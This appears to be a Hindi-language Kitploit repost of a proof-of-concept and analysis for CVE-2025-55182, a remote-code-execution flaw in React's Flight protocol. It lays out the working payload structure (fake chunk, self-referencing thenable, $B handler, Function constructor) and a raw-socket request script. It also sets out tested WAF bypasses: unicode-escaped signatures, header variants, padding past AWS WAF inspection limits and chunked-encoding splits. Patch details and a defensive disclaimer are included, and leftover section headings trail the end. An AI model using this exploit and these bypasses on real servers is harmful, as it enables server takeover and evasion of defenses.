CVE-2025-55182-research — CVE-2025-55182 का तकनीकी प्रूफ-ऑफ-कॉन्सेप्ट और गहन विश्लेषण, React के फ्लाइट प्रोटोकॉल में पथ ट्रैवर्सल, नकली चंक इंजेक्शन और $B हैंडलर दुरुपयोग के माध्यम से महत्वपूर्ण RCE भेद्यता। | Kitploit

पथ ट्रैवर्सल _formData.get → Function को हल करता है, जिससे Function(code) निष्पादित होता है``` ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

### मुख्य घटक

| घटक | उद्देश्य |
|-----------|---------|
| `then: "$1:__proto__:then"` | स्व-संदर्भित thenable; चंक 1 (`$@0`) चंक 0 पर वापस इंगित करता है |
| `status: "resolved_model"` | ऑब्जेक्ट को वैध React चंक के रूप में प्रकट करता है |
| `reason: -1` | rootReference को undefined पर सेट करता है (संदर्भ टकराव से बचाता है) |
| `value: '{"then":"$B1337"}'` | नेस्टेड payload जो `$B` हैंडलर को ट्रिगर करता है |
| `_response._prefix` | RCE कोड स्ट्रिंग शामिल है |
| `_response._chunks: "$Q2"` | चंक प्रसंस्करण के दौरान क्रैश को रोकने के लिए खाली Map |
| `_response._formData.get` | `$1:constructor:constructor` के माध्यम से `Function` पर इंगित करता है |

### घटक गहराई से विवरण

#### फॉर्म फ़ील्ड संरचना

एक्सप्लॉइट तीन फॉर्म फ़ील्ड का उपयोग करता है जिसमें चक्रीय संदर्भ हैं:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

**यह क्यों महत्वपूर्ण है:**

1. `then` `Chunk.prototype.then` में हल होता है - एक वास्तविक कॉल करने योग्य फ़ंक्शन
2. यह नकली ऑब्जेक्ट को एक वैध thenable बनाता है
3. जब प्रतीक्षा की जाती है, JS `obj.then(resolve, reject)` को कॉल करता है
4. `Chunk.prototype.then` नकली ऑब्जेक्ट के साथ `this` के रूप में निष्पादित होता है:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!

**स्व-संदर्भ के बिना**, नकली `_response` कभी उपयोग नहीं होता। स्व-संदर्भ `Chunk.prototype.then` को हमलावर की वस्तु को वास्तविक Chunk मानने पर मजबूर करता है।

#### दो-चरणीय Thenable ट्रिगर (`value`)

`value` फ़ील्ड में एक nested JSON स्ट्रिंग है जिसमें एक और thenable है:```json
{"then":"$B1337"}

`_formData.get` है `"$1:constructor:constructor"` → `getOutlinedModel()` हल होता है `Function`।

यह बनता है: `Function(code + "1337")` → मान्य JS क्योंकि `1337` सिर्फ एक trailing expression है।

#### रक्षात्मक पैडिंग (`_chunks`)

नकली `_response` को क्रैश को रोकने के लिए एक मान्य `_chunks` प्रॉपर्टी की आवश्यकता है:```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

पथ	फ़ंक्शन	शोषण में उद्देश्य
पथ ट्रैवर्सल	`getOutlinedModel()`	`$1:constructor:constructor` को `Function` में हल करता है
नकली `_response` इंजेक्शन	`initializeModelChunk()`	हमलावर के `chunk._response` का उपयोग करता है
`$B` हैंडलर	`parseModelString()`	`_formData.get(_prefix + id)` को कॉल करता है → RCE

**फर्जी प्रतिक्रिया उपयोग** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

---

## सुधार (19.2.1)

पैच में कई सुधार शामिल हैं:

1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - महत्वपूर्ण सुधार   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);

   // AFTER: Symbol lookup (cannot be forged via JSON)
   var response = chunk.reason[RESPONSE_SYMBOL];
   value = reviveModel(response, ...);

hasOwnProperty जाँच getOutlinedModel() में - प्रोटोटाइप ट्रैवर्सल को ब्लॉक करता है ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ हैंडलिंग reviveModel() में - प्रोटोटाइप प्रदूषण को रोकता है ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
initializeModelChunk() में प्रकार जाँच - श्रोताओं को मान्य करता है ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);

क्षमता	स्थिति	नोट्स
प्रोटोटाइप श्रृंखला ट्रैवर्सल	✓ पुष्टि	`$1:constructor:constructor` के माध्यम से
फंक्शन कंस्ट्रक्टर तक पहुँच	✓ पुष्टि	मेनिफेस्ट की आवश्यकता नहीं
पूर्ण RCE	✓ पुष्टि	फेक चंक + $B हैंडलर के माध्यम से

परत	पार्सर	डिकोड करता है
JSON संरचना	`JSON.parse()`	`\uXXXX` यूनिकोड एस्केप
जावास्क्रिप्ट कोड	`Function()` कंस्ट्रक्टर	`\uXXXX`, `\xXX`, ऑक्टल, `fromCharCode()`

शाब्दिक पैटर्न	यूनिकोड समतुल्य	WAF डिटेक्शन
`constructor`	`\u0063onstructor`	टल गया
`__proto__`	`\u005f\u005fproto\u005f\u005f`	टल गया
`resolved_model`	`\u0072esolved_model`	टल गया
`$@` (सर्कुलर रेफरेंस)	`$\u0040`	टल गया

पैटर्न	एन्कोडिंग विकल्प
`process`	`\u0070rocess`, `String.fromCharCode(112,114,111,99,101,115,115)`
`child_process`	`\x63hild_process`, संख्यात्मक चार कोड, base64
कोई भी पहचानकर्ता	ब्रैकेट नोटेशन: `this[S(112,114,...)]` जहाँ `S=String.fromCharCode`

वेरिएंट	सर्वर व्यवहार	WAF जोखिम
`next-action` (लोअरकेस)	स्वीकार किया (HTTP केस-इनसेंसिटिव है)	यदि WAF सटीक केस की अपेक्षा करता है तो छूट सकता है
`Next-Action:\tx` (टैब)	स्वीकार किया (व्हाइटस्पेस सामान्यीकृत)	यदि WAF स्पेस की अपेक्षा करता है तो छूट सकता है
`Next-Action: x` (स्पेस)	स्वीकार किया	सामान्यीकरण के बिना छूट सकता है

बैकएंड	डिफ़ॉल्ट सीमा	अधिकतम कॉन्फ़िगर करने योग्य
ALB / AppSync	8 KB	8 KB
CloudFront / API Gateway	16 KB	64 KB
Amazon Cognito / App Runner	16 KB	64 KB

सेटिंग	व्यवहार	शोषणीय?
`CONTINUE`	उपलब्ध बाइट्स का निरीक्षण करें, नियम का मूल्यांकन करें	हाँ - सीमा के बाद पेलोड का निरीक्षण नहीं किया गया
`MATCH`	मैचिंग मानें (ब्लॉक)	नहीं - बड़े अनुरोधों को ब्लॉक करता है
`NO_MATCH`	मैच नहीं मानें	हाँ - गुज़रने देता है

### Test Results

सभी बड़े आकार के पेलोड ने Next.js पर सफलतापूर्वक RCE प्राप्त किया:

| पैडिंग आकार | कुल बॉडी | एक्सप्लॉइट ऑफ़सेट | परिणाम |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |

### खंडित स्थानांतरण एन्कोडिंग बाईपास

HTTP/1.1 खंडित स्थानांतरण एन्कोडिंग बॉडी को अलग-अलग खंडों में विभाजित करता है। यदि WAF पुनः असेंबली से **पहले** खंडों का निरीक्षण करता है, तो खंड सीमाओं में फैले पैटर्न मेल नहीं खाएंगे।

#### यह कैसे काम करता है```
HTTP Request with Transfer-Encoding: chunked

17f\r\n                           ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n                            ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n                         ← Terminator

#### परीक्षित चंकिंग रणनीतियाँ

| रणनीति | विवरण | परिणाम |
|----------|-------------|--------|
| `$@` पर विभाजन | `"$` \| `@0"` | ✅ RCE |
| 10-बाइट खंड | प्रति 10 बाइट्स पर बॉडी विभाजन | ✅ RCE |
| 5-बाइट खंड | प्रति 5 बाइट्स पर बॉडी विभाजन | ✅ RCE |
| `status` पर विभाजन | `sta` \| `tus` | ✅ RCE |

सभी रणनीतियों ने सफलतापूर्वक RCE प्राप्त किया - Next.js चंक्ड अनुरोधों को सही ढंग से पुनः संयोजित करता है।

#### रॉ सॉकेट उदाहरण```javascript
const net = require('net');
const socket = new net.Socket();

socket.connect(3000, 'localhost', () => {
  // Headers with chunked encoding
  socket.write([
    'POST / HTTP/1.1',
    'Host: localhost:3000',
    'Content-Type: multipart/form-data; boundary=----WebKit',
    'Transfer-Encoding: chunked',
    'Next-Action: test',
    '', ''
  ].join('\r\n'));

  // Chunk 1: everything up to and including "$
  const chunk1 = '...payload ending with "$';
  socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);

  // Chunk 2: "@0" and rest of payload
  const chunk2 = '@0"\r\n...rest of payload';
  socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);

  // Terminator
  socket.write('0\r\n\r\n');
});

WAF प्रकार	चंक हैंडलिंग	बायपास संभव?
AWS WAF (ALB)	निरीक्षण से पहले पुनः संयोजित करता है	असंभावित
AWS WAF (CloudFront)	निरीक्षण से पहले पुनः संयोजित करता है	असंभावित
कुछ लीगेसी WAF	प्रति-चंक निरीक्षण करते हैं	हाँ
Nginx ModSecurity	कॉन्फ़िगरेबल	कॉन्फ़िग पर निर्भर करता है

## अनुसंधान यात्रा

### कमज़ोरी: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);
  var parentObject = response.chunks[id];

  // PATH TRAVERSAL - no hasOwnProperty check!
  for (var key = 1; key < reference.length; key++)
    parentObject = parentObject[reference[key]];  // VULNERABLE!

  return map(response, parentObject);
}

**2. decodeAction Path (अवरुद्ध)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body

### सफलता (The Breakthrough)

maple3142 ने लापता टुकड़ा ढूंढ लिया: `$B` हैंडलर + नकली `_response` श्रृंखला। `then` को आत्म-संदर्भ के माध्यम से `Chunk.prototype.then` पर हल करके, नकली `_response` का उपयोग होता है, जिससे RCE सक्षम होता है।

---

## मुख्य निष्कर्ष (Key Findings)

1. **`getOutlinedModel()` भेद्यता वास्तविक है** - कोलन-पृथक पथ प्रोटोटाइप श्रृंखला ट्रैवर्सल की अनुमति देते हैं

2. **फंक्शन कंस्ट्रक्टर सुलभ है** - `$1:constructor:constructor` serverManifest के बिना काम करता है

3. **RCE प्राप्त करने योग्य है** - नियंत्रित `_response` के साथ एक नकली चंक बनाकर:
   - आत्म-संदर्भ `$1:__proto__:then` → `Chunk.prototype.then` नकली `_response` का उपयोग करवाता है
   - नकली चंक संरचना React के आंतरिक Chunk वर्ग की नकल करती है
   - `_response._formData.get` → `Function` कंस्ट्रक्टर
   - `_response._prefix` → दुर्भावनापूर्ण कोड स्ट्रिंग
   - `$B` हैंडलर `Function(दुर्भावनापूर्ण_कोड)` को ट्रिगर करता है

4. **समाधान व्यापक है** - कई `hasOwnProperty` जाँच और प्रकार सत्यापन

---

## संदर्भ (References)

- [maple3142 का Gist](https://gist.github.com/maple3142) - RCE श्रृंखला की खोज
- [React सुरक्षा सलाह](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF नियम](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)

---

## अस्वीकरण (Disclaimer)

यह रिपॉजिटरी केवल **शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान** के लिए है। भेद्यता को पैच कर दिया गया है। कृपया तुरंत अपनी निर्भरताओं को अपग्रेड करें।

CVE-2025-55182-research

सबसे लोकप्रिय

स्व-संदर्भित Thenable (`then`)

Vulnerable Code Paths

प्रभाव और संस्करण

प्रभाव मूल्यांकन

प्रभावित संस्करण

फिक्स्ड संस्करण

सिग्नेचर-आधारित WAF डिटेक्शन क्यों विफल होता है

मूल समस्या: कई परतों पर एन्कोडिंग

सिग्नेचर्स को किससे मेल खाना होगा

डिटेक्शन गैप

यह डिफेंडर्स के लिए क्यों मायने रखता है

हेडर डिटेक्शन विचार

रक्षात्मक अनुशंसाएँ

AWS WAF बॉडी इंस्पेक्शन सीमाएँ बायपास

बॉडी इंस्पेक्शन सीमाएँ

`OversizeHandling` समस्या

बायपास रणनीति: पेलोड से पहले पैडिंग

WAF व्यवहार संबंधी विचार

शमन अनुशंसाएँ

परीक्षण स्क्रिप्ट्स

Start vulnerable Next.js server (port 3000)

Run tests

अवरुद्ध पथ जिन्हें हमने आज़माया